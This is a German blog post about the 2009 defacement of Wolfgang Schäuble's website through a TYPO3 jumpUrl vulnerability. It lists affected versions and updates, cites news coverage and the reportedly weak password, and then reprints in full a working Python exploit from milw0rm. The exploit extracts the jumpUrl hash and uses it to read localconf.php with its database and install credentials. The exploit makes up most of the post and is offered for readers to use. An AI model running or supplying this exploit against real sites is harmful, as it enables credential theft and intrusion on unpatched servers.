Wie sicherlich einige, oder ich denk mal alle ( 😀 ) mitbekommen haben, wurde die Seite von unserem Innenminister (isser doch, oder?) Wolfgang Schäuble defaced. Grund dafuer war eine Sicherheitsluecke im CMS (Content-Management-System) Typo3.
Die Folgen durch das Ausnutzen der Schwachstelle könnten für den jeweiligen Betreiber weit reichend sein. Grund dafür ist unter anderem der mögliche Zugriff auf die Datei localconf.php. In dieser befindet sich das Passwort für das Installations-Setup sowie der Benutzername und das zugehörige Kennwort für die Datenbank. Nach eingehender Betrachtung konnten die Experten den Fehler ausfindig machen. Dieser soll im Zusammenhang mit der jumpUrl-Funktion zum Analysieren der Webzugriffe bestehen.
Typo3, CMS, Typo, Typo3 LogoLaut den offiziellen Angaben sind die Versionen 3.3.x, 3.5.x, 3.6.x, 3.7.x, 3.8.x, 4.0 bis 4.0.11, 4.1.0 bis 4.1.9, 4.2.0 bis 4.2.5 und die Alphaversion 4.3 von dieser Problematik betroffen. Ein zur Verfügung gestelltes Update auf die Versionen 4.0.12, 4.1.10 und 4.2.6 soll diesem Sachverhalt Abhilfe schaffen.
Quelle: http://www.gulli.com/news/typo3-kritische-schwachstelle-2009-02-10/
Sah dort dann etwa so aus:
Oben ein Link zu Vorratsdatenspeicherung.de/ und Links in der Leiste in Link zum Update auf die Neuste Version und die Bitte, das PW zu aendern.
Ist ja nicht das erste mal, das Schäubles Page defaced wurde, jedoch finde ich das irgendwie sinnlos, da es eher nen Eigentor war und ihn selber nur weiter dazu bringt, mehr auf Ueberwachung zu setzen, damit sowas nicht mehr anonym passieren kann.
Mehr zu dem Thema:
http://computer.t-online.de/c/17/64/27/90/17642790.html
http://www.heise.de/security/Website-von-Wolfgang-Schaeuble-ueber-Typo3-Luecke-gehackt-Update–/news/meldung/132315
http://www.gulli.com/news/typo3-kritische-schwachstelle-2009-02-10/
Laut heise.de war das Passwort “gewinner”, was mich wundert, da das Passwort soviel ich weiß beim Ersten Deface schon gewinner war…
Wer das Typo3 Exploit sehen will:
#!/usr/bin/env python
#
# ------------------------------------------------------------------------------
# TYPO3-SA-2009-002 exploit by Lolek of TK53
# date: 2009/02/10
# vendor url: http://typo3.org
# vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12
# usage:
# typo3-sa-2009-002.py (defaults to typo3conf/localconf.php)
#
# if people fixed their installations but did not update the typo3 security key
# you should be able to precompute the hashes if you previously got the security key.
#
# greetings to milw0rm, roflek
import urllib,re,sys
strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*')
def useme():
print sys.argv[0], ' (with http://) (defaults to typo3conf/localconf.php)'
sys.exit(0)
def parsehash(host, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '3:'})
url = host + '/?' + file
try:
s = urllib.urlopen(url)
r = s.read()
except Exception, e:
print '[!] - ', str(e)
return None
tmp = strip.match(r)
if tmp:
return tmp.group(1)
else:
return None
def content(host, hash, f):
file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '3:', 'juHash' : hash})
url = host + '/?' + file
try:
s = urllib.urlopen(url)
print '[+] - content of:', f
print s.read()
except:
print '[!] - FAIL'
def main():
if len(sys.argv) < 2:
useme()
if len(sys.argv) < 3:
file = 'typo3conf/localconf.php'
else:
file = sys.argv[2]
print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53'
print '[+] - checking typo3 installation on...'
hash = parsehash(sys.argv[1], file)
if not hash:
print '[!] - version already fixed or 42 went wrong while trying to get the hash'
sys.exit(234)
content(sys.argv[1], hash, file)
if __name__ == '__main__':
main()
# milw0rm.com [2009-02-10]
http://milw0rm.com/exploits/8038